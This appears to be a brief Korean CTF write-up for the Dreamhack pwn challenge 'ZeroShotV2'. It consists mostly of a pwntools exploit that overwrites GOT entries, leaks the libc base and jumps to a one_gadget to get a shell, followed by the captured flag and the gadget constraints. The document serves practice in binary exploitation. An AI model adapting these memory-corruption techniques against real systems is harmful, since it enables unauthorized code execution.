풀이

  • 로되리안 지옥임
  • 가젯 잘써서 leak하고 onegadget으로 잘 때려 맞추면 된다
  • libc 맞는 거 가져오기 매우 힘듦 -> 마지막은 그냥 때려 맞추는 거임 ㅜㅜ
from pwn import *

context.log_level = "debug"


# io = process("./ZeroShotV2", env={"LD_PRELOAD": "./libc6_2.27-3ubuntu1.4_amd64.so"})
io = remote("host8.dreamhack.games", 9385)
e = ELF("./ZeroShotV2", checksec=False)
libc = ELF("./libc6_2.27-3ubuntu1.4_amd64.so", checksec=False)


one = [0x4F3CE, 0x4F3D5, 0x4F432, 0x10A41C]
# one = [0x4F3D5, 0x4F432, 0x10A41C]
# one = [0x4F35E, 0x4F365, 0x4F3C2, 0x10A45C]
# one = [0x4F3CE, 0x4F3D5, 0x4F432, 0x10A41C]
IDX = 3
printf_plt = 0x400600
calloc_plt = 0x400620
to = 0x601070
printf_got = 0x601028
setbuf_plt = 0x4005F0
ret = 0x4008AC


def edit(size, offset, value):
    io.sendlineafter(b": ", str(size).encode())
    io.sendlineafter(b": ", str(offset).encode())
    io.sendlineafter(b": ", str(value).encode())


edit(-0x100, e.got["puts"] // 4, e.sym["main"])
edit(-0x100, e.got["exit"] // 4, 0x4006AC)

io.sendlineafter(b": ", str(printf_plt).encode())
libc_base = u64(io.recvn(6).ljust(8, b"\x00")) - libc.sym["_IO_2_1_stdout_"]
libc.address = libc_base
log.info(f"libc base: {hex(libc_base)}")

io.sendlineafter(b": ", str(0).encode())
io.sendlineafter(b": ", str(0).encode())

# pause()

edit(-0x100, e.got["alarm"] // 4, u32(p64(libc_base + one[IDX])[:4]))
edit(-0x100, e.got["alarm"] // 4 + 1, u32(p64(libc_base + one[IDX])[4:]))
edit(-0x100, e.got["puts"] // 4, 0x400916)


io.interactive()
# DH{ONESHOT??_NO_ZEROSHOTV2_abcdef_!!}

"""
0x4f3ce execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f3d5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f432 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a41c execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
"""